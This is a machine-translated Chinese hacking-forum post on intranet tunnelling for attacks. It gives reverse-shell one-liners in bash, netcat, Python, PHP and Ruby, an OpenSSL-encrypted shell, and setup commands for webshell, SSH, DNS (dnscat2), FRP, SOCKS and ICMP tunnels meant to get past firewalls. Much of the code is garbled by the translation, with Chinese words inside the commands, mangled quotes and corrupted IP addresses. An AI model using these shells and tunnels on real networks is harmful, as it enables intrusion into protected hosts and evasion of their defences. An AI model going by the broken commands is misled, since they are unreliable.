H

内网隧道穿透

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

内网隧道穿透​

1 场景介绍​

1.1 相关概念​

Intranet渗透率是:使用各种隧道技术来查找防火墙允许的协议,正常流量中的拼音,绕过网络防火墙的封锁,并实现对封锁目标网络的访问。
通过公共Internet网络将封装的数据包路由在隧道的两个端点之间进行路由。在公共互联网上传递时,封装数据包通过的逻辑路径称为隧道。到达网络端点后,数据将被解开并转发到最终目的地。请注意,隧道技术是指整个过程,包括数据封装,传输和解开包装。
隧道协议的主要功能包括:规避防火墙加密网络流量
通用隧道列出如下:
应用层:SSH,HTTP,HTTP,DNS。
运输层:TCP,UDP,常规端口转发。
网络层:IPv6,ICMP,GRE。

1.2 正向代理 反向代理​

在远期代理中,代理和客户端属于同一LAN,并且对服务器均透明;
在反向代理中,代理和服务器属于同一LAN,并且对客户端透明。实际上,代理在这两个代理中所做的就是代表他人发送和接收请求和响应,但是从结构的角度来看,它只是可以在左右之间互换,因此以前的代理方法称为正向代理,后者称为反向代理。

1.2.1 正向代理​

LHOST-代理-RHOST
为了访问RHOST,LHOST发送请求以代理,并指定目标是RHOST。然后,代理将请求转发给Rhost,并将获得的内容退还给LHOST。简而言之,向前代理是代理,而不是我们访问Rhost。

1.2.2 反向代理​

lhost ---代理---防火墙--- rhost
与Forward代理相反,LHOST仅向代理发送普通请求。当将其转移到代理时,代理自行判断自己,然后将返回的数据提交。这种好处是,只有允许代理数据进入和退出时,一些防火墙可以有效地渗透。

1.3 转发场景​

1.3.1 常见的场景​

安全运维:绕过要塞或防火墙以实现Intranet服务器的遥控管理
内网渗透:绕过要塞或防火墙以攻击Intranet服务器
目标位于网络边界,并且可以访问内部和外部网络。网络边界上的主机没有安装防火墙,所有端口均向Internet开放。这种业务场景很少出现。
目标在Intranet中,允许特定的应用程序层协议超出网络(例如HTTP,SSH,DNS)和其他应用程序层协议(3389、22、445、53、80、443等)。
目标位于Intranet中,无法访问外部网络,但可以访问边界主机。防火墙策略限制了外部网络直接访问Intranet的敏感端口(3389、22、445等)。
共同的转发方法:
反弹端口
反弹外壳
袜子代理

1.3.2 防火墙规则​

加入互联网
特定端口映射80:80
退出互联网
ICMP
允许特定协议(HTTP,DNS,SSH,RDP)
允许特定端口(首先是主流端口,然后是整个端口)

1.3.3 连通性检测​

在建立隧道之前,第一件事是检查目标机器是否可以离开网络以及可以制定什么协议。手动检测更麻烦,因此可用此工具,可用于使用水平工具(例如WMIEXEC和PSEXEC)进行批处理检测。该工具可以在DNSlog中与Intranet IP地址和计算机名称呼应,这可以实现Intranet和出站机器的快速定位。
工具:https://github.com/uknowsec/sharpnetcheck
1
2
3
用法: SharpNetcheck -DNS -Host Ceye.io
SharpNetcheck -HTTP -HOST/IP CEYE.IO
Sharpnetcheck -All -Host Ceye.io

2 反弹 shell​

2.1 Bash​

2.1.1 Bash TCP​

1
2
3
4
5
bash -i/dev/tcp/ip/port 01
bash -i/dev/tcp/ip/port 0 21
exec 5/dev/tcp/ip/port; cat 5 |读行时;做$ 25 5;完毕
exec/bin/sh 0/dev/dev/tcp/ip/port 10 20
0196; EXEC 196/dev/tcp/ip/port; SH 196 196 2196

2.1.2 Bash UDP​

1
2
3
4
5
受害人:
SH -I/DEV/UDP/10.0.0.1/4242 01
侦听器:
NC -U -LVP 4242

2.2 应用内反弹 shell​

2.2.1 netcat​

1
2
3
4
NCAT IP端口-e /bin /bash
NC -E /bin /bash IP端口
rm/tmp/f; mkfifo/tmp/f; cat/tmp/f |/bin/sh -i 21 | nc ip port/tmp/f
rm -f x; MKNOD X P NC IP端口0x | /bin/bash 1x

2.2.2 python​

1
2
3
4
Python -c'导入套接字,子过程,OS; s=socket.Socket(socket.aff_inet,socket.sock.sock_stream); s.connect(('ip',port)); os.d UP2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(s.fileno(),2),2); p=subprocess.call(['/bin/sh/sh',',' - i''];'];''];
#仅Windows
Python -c'导入套接字,子过程,OS,pty; s=socket.socket(socket.aff_inet6,socket.sock.sock_stream); s.connect((('dead3:beef3:23336) 0:125C',端口,0,2)); os.dup2(s.fileno(),0); os.dup2(s.fileno(s.fileno(),1),1); os.dup2(s.fileno(s.fileno(),2),2); p=pty.pty.spawn('/bin/sh''/bin/sh''')
Python环境中的提示
转换为交互式外壳:python -c'import pty; pty.spawn('/bin/bash')''
完全互动的外壳:
1
2
3
4
5
6
7
$ python -c'进口pty; pty.spawn('/bin/bash')''
Ctrl-Z
$ stty raw -echo
$ fg
$重置
$导出外壳=bash
//$ export Term=XTerm-256Color

2.2.3 PHP​

1
2
3
4
5
php -r'$ sock=fsocopen('ip',port); exec('/bin/sh -i 3 3 3 23');'
php -r'$ s=fsocopen('ip',port); $ proc=proc_open('/bin/sh -i',阵列(0=$ s,1=$ s,2=$ s),$ pipes);''
php -r'$ s=fsocopen('ip',port); shell_exec('/bin/sh -i 3 3 3 23');'

2.2.4 Ruby​

1
2
3
4
Ruby -rsocket -e'f=tcpsocket.open('ip',port).to_i; exec sprintf('/bin/sh/sh -i%d%d%d%d 2%d',f,f,f,f,f)'''
#仅Windows
ruby -rsocket -e'c=tcpsocket.new('ip','port'); while(cmd=c.gets); io.popen(cmd,'r'){| io | c.print io.read} end'

2.3 openssl 流量加密​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#VPS生成SSL证书的公私密钥对
OPENSSL REQ -X509 -NEWKEY RSA:4096 -KEYOUT KEY.PEM -OUT CERT.PEM -DAYS 365 -NODES
#在VPS中收听反弹外壳
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
#使用openssl在目标(Linux)上加密外壳的流量
mkfifo /tmp /s; /bin/sh -i/tmp/s 21 | openssl s_client -quiet -connect IP:Port /tmp /s; RM /TMP /s
#视窗
openssl s_client -quiet -connect [ip] : [port1] | cmd.exe | openssl s_client -quiet -connect [ip] : [port2]
#上面命令将从[IP] : [port1]获取命令,并将其发送到cmd.exe进行执行,然后将结果返回[IP] : [port2]
#因此,需要在此计算机上启动两个S_Servers
#将命令从port1发送到CMD
openssl s_server -quiet -key键。
#获取命令执行结果从port2发送到port1
openssl s_server -quiet -key key.pem -cert cert.pem -port [port2]

2.4 All in One​

以下几个网站自动生成反弹壳命令:
一个在线编码网站,以防止特殊字符被过滤,也可以在Java.lang.runtime.exec()的有效载荷中使用:

3 应用层隧道​

3.1 HTTP 隧道​

3.1.1 reGeorg​

建议使用 nosocket 版工具地址:3https://github.com/sensepost/regeorg
如何使用:
上传隧道文件
服务器运行:Python Regeorgsocksproxy.py -P 8080 -U http://IP:PORT/TUNNEL/TUNNEL.JSP

3.1.2 Neo-reGorg​

工具地址:https://github.com/l-codes/neo-regeorg
Neo-reGeorg是一个重构Regeorg的项目,目的是:
提高隧道连接安全性
提高可用性并避免功能检测
提高传输内容的机密性
应对更多网络环境方案
如何使用:
将密码设置为生成隧道。(ASPX | ASHX | JSP | JSPX | PHP)并上传到Web服务器:Python3 Neoreg.py生成-K密码
使用neoreg.py连接到Web服务器并在本地建立socks5代理:python3 neoreg.py -k密码-U http://xx/tunnel.php
注意
请注意,如果您的工具(例如NMAP)不支持Socks5代理设置,请使用ProxyChains等。

3.1.3 其它​

隧道
1
2
3
4
5
6
7
#-U远程代理脚本地址
#-L代表本地听力的端口
#-R远程地图端口
#-V输出详细数据
#-A代理商远程连接的主机地址
python proxy.py -u -u http://ip/conn.aspx -L 1080 -V
python proxy.py -U http://ip/conn.aspx -L 5555 -R 8080 -S -V -N
abptts
Pystinger

3.2 SSH 隧道​

参考:https://3nd.xyz/ad-pentest/ad-pentest/ad-pentest-hidded-tunnel/

3.2.1 本地端口转发​

在本地主机上启用端口交通转发功能
例如:在入侵者主机上执行(在VPS上执行活动连接)
1
SSH -L 8866:192.168.10.3:23 -FN 192.168.10.2
20210108224514.png-water_print

3.2.2 远程端口转发​

在远程主机上打开端口交通转发功能
例如:在要塞上执行(在边界主机上执行返回连接)
1
SSH -R 8866:192.168.10.3:23 -FN 192.168.10.1
20210108225357.png-water_print

3.2.3 动态转发 - Socket​

打开本地主机上的动态流量转发功能并配置代理
例如:在入侵者主机上执行
1
SSH -D 1100 -FN 192.168.10.2
20210108225846.png-water_print

3.3 DNS 隧道​

工具DNSCAT2
各种编译版本:https://downloads.skullsecurity.org/dnscat2/

3.3.1 配置解析记录​

在DNS分辨率记录中添加A记录,名称为NS1值VPS IP地址
添加另一个带有任何子域名名称的NS记录,指向地址ns1.yourdomain.com

3.3.2 安装 dnscat2 服务端​

1
2
3
4
5
6
7
apt-get安装宝石
apt-get安装ruby-dev
apt-get安装libpq-dev
APT-GET安装Ruby-Bundler
apt-get安装git
git克隆https://github.com/iagox86/dnscat2
束安装

3.3.3 启动服务端​

1
ruby ./dnscat2.rb dnscat.yuming.com -e Open -c mima -no -cache

3.3.4 启动客户端​

1
2
3
4
5
#测试是否可以进行沟通
dnscat -client.exe -ping dnscat.yuming.com
# 连接
dnscat -client.exe -dns域=dnscat.yuming.com -secret mima

4 传输层​

SOCKS4支持TCP协议,例如Telnet,FTP,HTTP,等。
SOCKS5支持TCP和UDP,并支持安全身份验证解决方案

4.1 FRP​

FRP用Golang编写,并支持跨平台。您只需要下载相应平台的二进制文件即可执行。工具地址:https://github.com/fatedier/frp
要编写配置文件,请首先通过./frps -c ./frps.ini启动服务器,然后通过./frpc -c ./frpc.ini启动客户端。
服务器部署在带有公共IP的服务器上,客户端位于我们拥有权限的Springboard服务器上。两端都需要配置配置文件。

4.1.1 服务端​

1
2
3
4
5
6
7
8
9
10
[常见的]
#FRP服务器端口
bind_port=7000
#仪表板端口
dashboard_port=8888
#FRP服务器密码
令牌=123456
#Dashboard默认帐户密码
dashboard_user=admin
dashboard_pwd=admin
启动FRP:frps -c frps.ini

4.1.2 客户端​

1
2
3
4
5
6
7
8
9
10
11
12
[常见的]
server_addr=VPS IP
server_port=7000
#与VPS对齐
令牌=123456
[SSH]
类型=TCP
local_ip=127.0.0.1
local_port=22
远程_PORT=7000
use_encryption=true
use_compression=true

4.2 iox​

IOX是一种端口转发Intranet代理工具,其功能类似于LCX/EW,但比它们更好。
工具地址:https://github.com/eddieivan01/iox

4.2.1 端口转发​

1
2
3
4
5
6
7
8
#端口转发- 从本地8888转到9999
./iox FWD -L 8888 -L 9999
#端口转发- 从本地8888到1.1.1.1.1.1.1.1.1.1.1.1.1.1.133609999
./iox FWD -L 8888 -R 1.1.1.1.1.133609999
#连接1.1.1.1.1:8888和1.1.1.1.1:9999,在两个连接之间转发
./iox FWD -R 1.1.1.1.1.133608888 -R 1.1.1.1.1:9999

4.2.2 代理​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#开始Socks5 Service本地0.0.0.0.0:1080-前向代理
./iox代理-L 1080
#反向代理
#打开受控机器上的Socks5服务,然后将服务转发到公共网络VPS
./iox代理-R 1.1.1.1.133609999
#向前0.0.0.0.0:9999至0.0.0.0.0:1080 vps
#您必须成对使用两个命令,因为它包含一个简单的协议来控制后退连接
./iox代理-L 9999 -L 1080 //请注意,这两个端口是顺序的
#然后连接到Intranet主机
#socks5: //1.1.1.1.1:1080
Proxychains Rdesktop 192.168.0.100:3389

4.3 sSocks​

SSOCKS是一个袜子代理工具集,可用于启用袜子代理服务,支持Socks5验证,支持IPv6和UDP,并提供反向袜子代理服务。也就是说,将远程计算机用作袜子代理服务器将其反弹回本地,从而极大地促进了Intranet渗透测试。
工具地址:http://sourceforge.net/projects/ssocks/
前锋代理
1
./ssocksd -Bind 192.168.172.131-港口1080
反向代理
1
2
3
4
5
#攻击者侦听6020端口转发至6010
./rcsocks -L 6020 -P 6010 -VV
#受害者反向连接到代理主机6010端口
./rssocks -s攻击者IP:6010 -VV

5 网络层​

5.1 ICMP Tunnel​

工具名称:ICMPSH
010-110服务器需要关闭ICMP回声:sysctl -w net.ipv4.icmp_echo_ignore_all=1
安装服务器:
1
2
APT-GET安装Python-Impacket
Python icmpsh_m.py本机IP目标机公共网络IP

5.1.1 服务端​

1
ICMPSH.EXE -T目标IP -D 500 -B 30 -S 128
 
后退
顶部